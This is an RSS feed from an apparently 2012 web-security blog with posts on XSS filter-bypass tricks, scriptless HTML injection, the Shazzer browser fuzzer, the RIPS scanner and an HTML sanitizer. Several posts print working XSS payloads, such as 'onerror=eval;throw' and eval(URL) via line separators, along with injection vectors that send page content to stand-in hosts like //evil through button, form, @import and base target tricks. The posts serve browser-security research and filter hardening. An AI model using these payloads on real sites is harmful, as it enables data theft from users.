<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Spanner</title>
	<atom:link href="http://www.thespanner.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk</link>
	<description>Javascript blog with messed up syntax inside</description>
	<lastBuildDate>Tue, 08 May 2012 10:14:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Eval a url</title>
		<link>http://www.thespanner.co.uk/2012/05/08/eval-a-url/</link>
		<comments>http://www.thespanner.co.uk/2012/05/08/eval-a-url/#comments</comments>
		<pubDate>Tue, 08 May 2012 09:40:39 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=1005</guid>
		<description><![CDATA[You might have seen a blog post or came to the conclusion that urls are in fact valid JavaScript such as: http://thespanner.co.uk (label) (comment) That&#8217;s weird and cool but how do we execute JavaScript from the url? Something like: http://thespanner.co.uk\nalert(1) (label) (comment) (newLine) (functionCall) Trouble is the new line isn&#8217;t allowed inside the browser url [...]]]></description>
			<content:encoded><![CDATA[<p>You might have seen a blog post or came to the conclusion that urls are in fact valid JavaScript such as:</p>
<p><code></p>
<p>http://thespanner.co.uk</p>
<p>(label) (comment)<br />
</code></p>
<p>That&#8217;s weird and cool but how do we execute JavaScript from the url? Something like:<br />
<code></p>
<p>http://thespanner.co.uk\nalert(1)</p>
<p>(label) (comment) (newLine) (functionCall)<br />
</code></p>
<p>Trouble is the new line isn&#8217;t allowed inside the browser url bar or is it? ES5 introduced in the standard that line separators and paragraph separators would act as traditional new lines in JavaScript and separate new statements. Thankfully our friend IE allows us to do this directly in the url. Using these characters allows you to create an eval&#8217;able url. </p>
<p><a href="http://challenge.hackvertor.co.uk/?challenge=1&#038;input=<svg onload=eval(URL)&#038;&#x2028;alert('I win!')" target=_blank>test line sep</a><br />
<a href="http://challenge.hackvertor.co.uk/?challenge=1&#038;input=<svg onload=eval(URL)&#038;&#x2029;alert('I win!')" target=_blank>test para sep</a></p>
<p>So now we don&#8217;t need to do eval(location.hash.slice(1)) we can simply do eval(location) <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I found this while discussing with Mario and Yosuke Hasegawa on what the shortest HTML based XSS injection was. Using this technique it&#8217;s probably 21 (without using netscape 4).</p>
<p><code><br />
&lt;svg onload=eval(URL)<br />
</code></p>
<p>You of course must pass your JavaScript as a non-existent query param such as:<br />
<code><br />
&amp;&amp;#x2028;alert(1)<br />
</code></p>
<h3>Update&#8230;</h3>
<p>As Stefano Di Paola points out, using hash will allow you to use this technique on Chrome and Opera.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/05/08/eval-a-url/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>XSS technique without parentheses</title>
		<link>http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/</link>
		<comments>http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/#comments</comments>
		<pubDate>Tue, 01 May 2012 10:26:52 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=999</guid>
		<description><![CDATA[This is a very old technique I discovered years ago which I used to bypass a filter and it&#8217;s pretty awesome. It might come in handy to bypass a WAF or filter since it&#8217;s not public until now. First you need to understand (which you probably do) that the window object is the default object [...]]]></description>
			<content:encoded><![CDATA[<p>This is a very old technique I discovered years ago which I used to bypass a filter and it&#8217;s pretty awesome. It might come in handy to bypass a WAF or filter since it&#8217;s not public until now. First you need to understand (which you probably do) that the window object is the default object in JavaScript and every time you execute code it&#8217;s like you&#8217;ve run a with statement on the window if your not more specific. So stuff like onload is really window.onload and so on lets see if you can guess what comes next&#8230;.</p>
<p>So in JavaScript we have a onerror handler which is also on the window object, this means if we assign a function to onerror we can call it by generating a JavaScript error! How do we generate a JavaScript error? Throw is a nice way, this means throw can pass an argument to a function you can create some pretty awesome crazy looking JavaScript. </p>
<p><code><br />
onerror=alert;throw 1;<br />
</code></p>
<p>This works on every browser <del datetime="2012-05-07T10:18:19+00:00">apart from Firefox</del> *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string.</p>
<p><code><br />
onerror=eval;throw'=alert\x281\x29';<br />
</code></p>
<p>Thought I&#8217;d post this before this technique gets lost forever and I forget about it pretty awesome XSS eh? <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>* Does actually work in Firefox. My site was disabling the error handling.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>RIPS static source code analyser</title>
		<link>http://www.thespanner.co.uk/2012/03/19/rips-static-source-code-analyser/</link>
		<comments>http://www.thespanner.co.uk/2012/03/19/rips-static-source-code-analyser/#comments</comments>
		<pubDate>Mon, 19 Mar 2012 21:02:08 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=996</guid>
		<description><![CDATA[RIPS is a static source code analyser and is one awesome piece of coding by @fluxreiners. Use it now to scan your PHP files for vulnerabilities. It can detect XSS, SQLi, File disclosure, LFI/RFI, RCE and lots more and it&#8217;s free. I&#8217;m downloading the current version now 0.52, so should you!]]></description>
			<content:encoded><![CDATA[<p><a href="http://rips-scanner.sourceforge.net/">RIPS is a static source code analyser</a> and is one awesome piece of coding by <a href="http://twitter.com/fluxreiners">@fluxreiners</a>. Use it now to scan your PHP files for vulnerabilities. It can detect XSS, SQLi, File disclosure, LFI/RFI, RCE and lots more and it&#8217;s free. I&#8217;m downloading the current version now 0.52, so should you! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/03/19/rips-static-source-code-analyser/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Data enumeration tutorial in Shazzer</title>
		<link>http://www.thespanner.co.uk/2012/02/10/data-enumeration-tutorial-in-shazzer/</link>
		<comments>http://www.thespanner.co.uk/2012/02/10/data-enumeration-tutorial-in-shazzer/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 14:45:51 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shazzer]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=986</guid>
		<description><![CDATA[Over the last few days I&#8217;ve finally fixed a data enumeration bug that was haunting a new feature in Shazzer. Originally Shazzer just mutated one character at a time to discover characters which influenced the fuzz vectors in interesting ways. I decided to expand that to include data. I called the feature &#8220;datasets&#8221; because you [...]]]></description>
			<content:encoded><![CDATA[<p>Over the last few days I&#8217;ve finally fixed a data enumeration bug that was haunting a new feature in Shazzer. Originally Shazzer just mutated one character at a time to discover characters which influenced the fuzz vectors in interesting ways. I decided to expand that to include data. I called the feature &#8220;datasets&#8221; because you could assign a placeholder to a set of data. Using this placeholder it then becomes easy for you to generate a vector that checks each value in the dataset and not only that but how that data relates to another dataset.</p>
<p>So what does that actually mean when it comes to vector creation? Here is an example enumeration vector:<br />
<code><br />
&lt;*datahtmlelements* *datahtmlattributes*="javascript:parent.customLog('*datahtmlelements* *datahtmlattributes*')"&gt;&lt;/*datahtmlelements*&gt;<br />
</code></p>
<p>*datahtmlelements* refers to a dataset and in this instance we are talking about html elements, so the placeholder will be replaced by &#8220;iframe&#8221;, &#8220;b&#8221;, &#8220;html&#8221; and so on, the same this will happen to *datahtmlattributes* but this time using each attribute. Shazzer checks your vector for how many instances of placeholders you have and then automatically creates a loop within all the data so it enumerates each dataset within a nested loop of up to 5 separate datasets. The amount of data is split between a maximum of 10,000 iterations so your data will all be enumerated no matter how big the total iterations are it will just take a long time for a lot of nested datasets <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You can see in the vector that the placeholders are used more than once this enables you to log any interesting results, so here we use the customLog function in Shazzer to send the html element and attribute that executes. Other logging functions are available and are listed in the preparation code when you create a vector.</p>
<h3>Steps to create an enumeration vector</h3>
<p>1. Check <a href="http://shazzer.co.uk/datasets">datasets</a> for which data you would like to enumerate. You can create your own dataset if the one you require doesn&#8217;t exist.<br />
2. Click <a href="http://shazzer.co.uk/create">create</a> and select &#8220;Data enumeration&#8221; from the vector type drop down.<br />
3. Give it a nice descriptive name and some keywords to find the vector.<br />
4. You don&#8217;t actually need to modify the preparation code unless you need to log something that doesn&#8217;t execute like CSS values for instance.<br />
5. Construct your vector by clicking and data placeholders at the bottom and craft you code as if you&#8217;re in a loop of all the data structures you use.<br />
6. Once your vector is complete you can now fuzz the vector by choosing it from the &#8220;<a href="http://shazzer.co.uk/vectors">Fuzz vectors</a>&#8221; list. Once you&#8217;ve found your vector you can select a doctype then click &#8220;Fuzz all&#8221; to begin fuzzing.</p>
<p>In future you will be able to share these enumeration vectors between your twitter followers in order to distribute the workload between friends to help scan large datasets. Happy fuzzing!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/02/10/data-enumeration-tutorial-in-shazzer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing Shazzer: A shared online fuzzer</title>
		<link>http://www.thespanner.co.uk/2012/01/12/introducing-shazzer-a-shared-online-fuzzer/</link>
		<comments>http://www.thespanner.co.uk/2012/01/12/introducing-shazzer-a-shared-online-fuzzer/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 12:00:03 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=979</guid>
		<description><![CDATA[I lost inspiration for coding a while ago and had this idea I was sitting on for a while, I&#8217;m often stuck at the design stage before I write a line of code and I will refuse to continue without a clear picture in my head on how an app is going to work. After [...]]]></description>
			<content:encoded><![CDATA[<p>I lost inspiration for coding a while ago and had this idea I was sitting on for a while, I&#8217;m often stuck at the design stage before I write a line of code and I will refuse to continue without a clear picture in my head on how an app is going to work. After the Christmas break I got my inspiration back and started to formulate pretty quickly how Shazzer might work. Once I was happy with the design then I started to code it pretty quickly, it was like a jigsaw and everything just fitted nicely together. </p>
<p>So what the hell is it I hear you ask? Shazzer allows you to perform client based fuzzing and share the results with the world. It scans from 0-100000 characters in a couple of seconds (depending on the vector) and allows you to build different vectors and preparation code. When you think about fuzzing especially about behaviour based fuzzing, there are too many combinations for you to handle on your own. You need to scan every browser version, every os, every charset, every doc mode (for ie) and so on, it&#8217;s an impossible amount of data to get through especially when time is limited. At the moment it&#8217;s limited to one character mutation and designed for behaviour based fuzzing rather than finding crashes (that will come later). </p>
<p>Shazzer is useful in asking simple questions, for example &#8220;<a href="http://shazzer.co.uk/database/IE/9/0/Characters-allowed-after-attribute-name">What characters are allowed after an attribute name in IE9.0?</a>&#8220;. The idea is to construct clever vectors that discover this information and then use your browser to scan the information and ask your friends or colleagues to scan using their browser. The end goal is then to use this information to file bugs, find holes in HTML filters or simply to discover the differences between the various browser versions.</p>
<h3>Constructing a vector</h3>
<p>To make your own vectors the first thing you need to do is search to see if the vector your are looking for already exists there&#8217;s no point reinventing the wheel. Then hit create (after you&#8217;ve logged in). The description should be clear and concise and no more than 50 characters, also consider it will be the url of your vector so keep it short and to the point. Keywords allow you to assign search terms for your vector, include any keywords that you think are relevant to your vector such as &#8220;anchor, XSS, href&#8221; if you are checking the anchor href for different characters. The preparation code allows to modify how the logging works, for JS execution vectors you shouldn&#8217;t need to modify this but for HTML/CSS based checks you should modify it to detect if the vector was successful. Consider the following example:</p>
<p><code>&lt;span id="fuzzelement*num*" style="*chr*color:#000;"&gt;&gt;/span&gt;</code></p>
<p>Here the vector wants to check what characters are allowed before the property &#8220;color&#8221; in CSS but as this vector doesn&#8217;t execute JavaScript you will have to manually check each vector. You do this by modifying the preparation code just below the start of the complete function. Like so:</p>
<p><code><br />
for(var i=from;i&lt;to;i++) {<br />
try { if(document.getElementById('fuzzelement'+i).style.color.length) {<br />
   ids.push(i);<br />
 }<br />
}catch(e){}<br />
}<br />
</code> </p>
<p>This script takes advantage of the predefined global variables of the fuzzer &#8220;from&#8221; is where Shazzer is starting from such as &#8220;0&#8243; or &#8220;10000&#8243; and to is the ending range it&#8217;s scanning. Then we check if the color property has been set on the target element and if so add the chr number to the ids. The try catch block stops the fuzz script from breaking if the object doesn&#8217;t exist.</p>
<p>For the most part you shouldn&#8217;t have to modify the preparation code and mainly you just work on adding new vectors. Vectors work using placeholders *chr* indicates the character and *num* is the character code. If we use the &#8220;characters after attribute&#8221; as an example from earlier, you simply create some HTML that executes the log and place the *chr* where you want to check. For example:</p>
<p><code><br />
`"'&gt;&lt;img src=1 onerror*chr*=log(*num*)&gt;<br />
</code></p>
<p>At the beginning of the example you will notice that there are quotes and a closing &#8220;&gt;&#8221; this is to prevent the vectors from overlapping when an attribute is constructed from the fuzz data. The character we are fuzzing appears after onerror and is indicated by *chr*, when the onerror executes the log function is called which is predefined in the preparation code and the argument sent is the character code indicated by *num* this vector will now work on any browser or charset or range etc that any user chooses and allow you to see the result <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Fuzzing Samples</h3>
<p>Here are a few examples for you to play with:<br />
<a href="http://shazzer.co.uk/database/All/Characters-allowed-before-a-JavaScript-function">Characters allowed before a JavaScript function</a><br />
<a href="http://shazzer.co.uk/database/All/Characters-that-close-a-HTML-comment">Characters that close a HTML comment</a></p>
<p>Have a go with <a href="http://shazzer.co.uk">Shazzer</a> yourself and have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/01/12/introducing-shazzer-a-shared-online-fuzzer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Breaking feeds</title>
		<link>http://www.thespanner.co.uk/2012/01/04/breaking-feeds/</link>
		<comments>http://www.thespanner.co.uk/2012/01/04/breaking-feeds/#comments</comments>
		<pubDate>Wed, 04 Jan 2012 15:06:55 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=975</guid>
		<description><![CDATA[This should break my feed and anyone else who syndicates my feed and doesn&#8217;t filter 0x05 That&#8217;s it LOL. Hope you enjoyed it but I doubt you read it. ]]></description>
			<content:encoded><![CDATA[<p>This should break my feed and anyone else who syndicates my feed and doesn&#8217;t filter <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><code>0x05</code></p>
<p>That&#8217;s it LOL. Hope you enjoyed it but I doubt you read it. <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2012/01/04/breaking-feeds/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>HTML scriptless attacks</title>
		<link>http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/</link>
		<comments>http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/#comments</comments>
		<pubDate>Wed, 21 Dec 2011 16:48:23 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=957</guid>
		<description><![CDATA[Following up on @lcamtuf&#8217;s post about a &#8220;post xss&#8221; world. I thought I&#8217;d chip in with some vectors he missed. The textarea consumption technique he mentioned isn&#8217;t new and wasn&#8217;t invented by &#8220;Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Colin Jackson.&#8221; it was openly discussed on sla.ckers for many years (as usual) but anyway [...]]]></description>
			<content:encoded><![CDATA[<p>Following up on <a href="http://lcamtuf.blogspot.com/2011/12/notes-about-post-xss-world.html">@lcamtuf&#8217;s</a> post about a &#8220;post xss&#8221; world. I thought I&#8217;d chip in with some vectors he missed. The textarea consumption technique he mentioned isn&#8217;t new and wasn&#8217;t invented by &#8220;Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Colin Jackson.&#8221; it was openly discussed on sla.ckers for many years (as usual) but anyway lets discuss vectors.</p>
<h3>Button as a scriptless vector</h3>
<p>Using button is interesting because of two interesting specification changes in HTML5, one is the fact that the default type for a button is a submit and secondly the formaction attribute allows you to change it&#8217;s parent form action. In addition button consumes HTML, allowing you store any html after button until the next or non existent closing button tag. Example vector:</p>
<p><code><br />
&lt;button name=xss type=submit formaction=//evil&gt;I get consumed!<br />
</code></p>
<h3>Option as a scriptless vector</h3>
<p>A strange fact is option also consumes HTML, pretty obvious when you think about it but could lead to info disclosure like the button example.</p>
<p><code><br />
&lt;form action=//evil&gt;&lt;select name=xss&gt;&lt;option&gt;&lt;b&gt;steal me!&lt;/b&gt;<br />
</code></p>
<h3>@import as a scriptless vector</h3>
<p>The CSS specification states that @import should continue parsing a url until it encounters a ending &#8220;;&#8221;. This means you can use it to consume HTML. A vector like the following can steal data:</p>
<p><code><br />
&lt;style&gt;@import//hackvertor.co.uk?<br />
&lt;b&gt;steal me!&lt;/b&gt;;<br />
</code></p>
<h3>Noscript scriptless vector</h3>
<p>Another interesting way to defeat XSS filters is to use the noscript tag as demonstrated by my attack against Caja&#8217;s HTML filter.</p>
<p><code><br />
&lt;noscript&gt;&lt;form action=http://google.com&gt;&lt;input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=pwnd&gt;&lt;textarea name=contents&gt;&lt;/noscript&gt;<br />
</code></p>
<p>It uses the noscript tag to generate a textarea that when enabled (because of no javascript present) consumes the HTML after. This can also be initiated using security=restricted on IE or the new HTML5 iframe sandbox option. <a href="http://sla.ckers.org/forum/read.php?2,37025,37053#msg-37045">Original report.</a></p>
<h3>Using window.name via base target</h3>
<p>You can also use the target attribute to assign the contents of the HTML after to the window name and then later retrieve it x-domain after a user clicks an external link. </p>
<p><code><br />
&lt;base target='<br />
steal me'&lt;b&gt;test&lt;/b&gt;<br />
</code></p>
<p>So here we inject a base tag with a target attribute, the target then assigns everything after &#8216; to the window.name and then can be retrieved when the user clicks to the external server.</p>
<p>That&#8217;s all folks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>NULLs in entities in Firefox</title>
		<link>http://www.thespanner.co.uk/2011/12/05/nulls-in-entities-in-firefox/</link>
		<comments>http://www.thespanner.co.uk/2011/12/05/nulls-in-entities-in-firefox/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 13:00:24 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=942</guid>
		<description><![CDATA[HTML5 decided to introduce a load of new entities, I dunno why maybe they thought it wasn&#8217;t hard enough to protect against the original ones we had already. Anyway Firefox has a bug or &#8220;feature&#8221; that allows NULLS inside the entities. I tweeted it but if I don&#8217;t post it here it will probably be [...]]]></description>
			<content:encoded><![CDATA[<p>HTML5 decided to introduce a load of new entities, I dunno why maybe they thought it wasn&#8217;t hard enough to protect against the original ones we had already. Anyway Firefox has a bug or &#8220;feature&#8221; that allows NULLS inside the entities. I tweeted it but if I don&#8217;t post it here it will probably be lost in a sea of tweets. You can place NULLs before the &#8220;&amp;&#8221; or before the &#8220;;&#8221; which allows you to construct a pretty weird entity.</p>
<p><code><br />
javascript&amp;0x00colon;<br />
javascript&amp;colon0x00;<br />
</code></p>
<p>These obviously work inside a anchor href and I think in addition FF requires the HTML5 doctype. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2011/12/05/nulls-in-entities-in-firefox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>staticHTML property</title>
		<link>http://www.thespanner.co.uk/2011/11/29/statichtml-property/</link>
		<comments>http://www.thespanner.co.uk/2011/11/29/statichtml-property/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 09:10:35 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[CSSReg]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[HTMLReg]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=928</guid>
		<description><![CDATA[The static HTML property allows you to get/set filtered HTML directly on the DOM object you&#8217;re using. The browser vendors don&#8217;t support this property yet, IE has a toStaticHTML function and Firefox via the Noscript plugin emulates toStaticHTML but doesn&#8217;t allow you to set/get directly, so I decided to create a JavaScript version that can [...]]]></description>
			<content:encoded><![CDATA[<p>The static HTML property allows you to get/set filtered HTML directly on the DOM object you&#8217;re using. The browser vendors don&#8217;t support this property yet, IE has a toStaticHTML function and Firefox via the Noscript plugin emulates toStaticHTML but doesn&#8217;t allow you to set/get directly, so I decided to create a JavaScript version that can provide it until the vendors implement it. As I was updating HTMLReg and CSSReg with some new features I thought this might be a good time to add support for it. The problem with static HTML is you have no way to protect an element from overlapping another element. The traditional way HTMLReg protects against this problem is to have a container element that is restricted via CSS to certain dimensions and it&#8217;s overflow hidden thus not allowing you to break out of that element via absolute positioning etc. </p>
<p>It&#8217;s not possible to have a container for every element so I couldn&#8217;t figure out a way to stop this overlapping problem, so each time an element is modified you cannot alter it&#8217;s dimensions or position. If you want to have a section of your HTML that you want to allow user input to alter dimensions then you can place a container div like so:</p>
<p><code><br />
&lt;div id="staticHTML" style="border:1px solid #ccc;position:relative;width:300px;height:300px;overflow:hidden;"&gt;&lt;/div&gt;<br />
</code></p>
<p>This way the modified HTML can&#8217;t break out of this element so any modification of staticHTML inside this element should be safe. You&#8217;d need to modify the HTMLReg could when you include it on your site in order to modify dimensions nand positioning like so:</p>
<p><code><br />
if(Element.prototype &#038;&#038; !Element.prototype.staticHTML) {<br />
	window.Object.defineProperty(Element.prototype, 'staticHTML', {<br />
		get: function() {<br />
			HTMLReg.setAppID('staticHTML');<br />
			<b>HTMLReg.disablePositioning = false;</b>//changed this line!<br />
			return HTMLReg.parse(this.innerHTML+'');<br />
		},<br />
		set: function(val) {<br />
			HTMLReg.setAppID('staticHTML');<br />
			<b>HTMLReg.disablePositioning = false;</b>//changed this line!<br />
			this.innerHTML = HTMLReg.parse(val+'');<br />
		}<br />
	});<br />
}<br />
</code></p>
<p>To use the property itself you just read and write to the staticHTML property of the DOM object. You can read the staticHTML property without actually altering the DOM object&#8217;s innerHTML. Examples below:</p>
<p><code>document.getElementById('x').staticHTML='&lt;b&gt;test&lt;/b&gt;';</code><br />
<code>alert(document.getElementById('x').staticHTML)</code></p>
<p>Finally there is the demo and the usual question. Can you break it?<br />
<a href="http://www.businessinfo.co.uk/labs/staticHTML/staticHTML.html">Static HTML demo</a></p>
<h2>Update&#8230;.</h2>
<p>Oh yeah I got it working in IE7 :O how awesome is that? <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  via htc</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2011/11/29/statichtml-property/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non-alpha JavaScript and PHP slides</title>
		<link>http://www.thespanner.co.uk/2011/11/17/non-alpha-javascript-and-php-slides/</link>
		<comments>http://www.thespanner.co.uk/2011/11/17/non-alpha-javascript-and-php-slides/#comments</comments>
		<pubDate>Thu, 17 Nov 2011 10:42:58 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
				<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=922</guid>
		<description><![CDATA[I had fun at OWASP Manchester, my talk went really well. Getting more confidence with talks now I think. I have a tendency to rush through and get ahead slightly sometimes but overall I did much better and had some great feedback along with some very interesting questions. Enjoy the slides! Here are my non-alphanumeric [...]]]></description>
			<content:encoded><![CDATA[<p>I had fun at OWASP Manchester, my talk went really well. Getting more confidence with talks now I think. I have a tendency to rush through and get ahead slightly sometimes but overall I did much better and had some great feedback along with some very interesting questions. Enjoy the slides! </p>
<p>Here are my non-alphanumeric JavaScript &#038; PHP slides <a href="http://bit.ly/uixV5J">(powerpoint)</a> <a href="http://bit.ly/ua72Dq">(pdf)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2011/11/17/non-alpha-javascript-and-php-slides/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

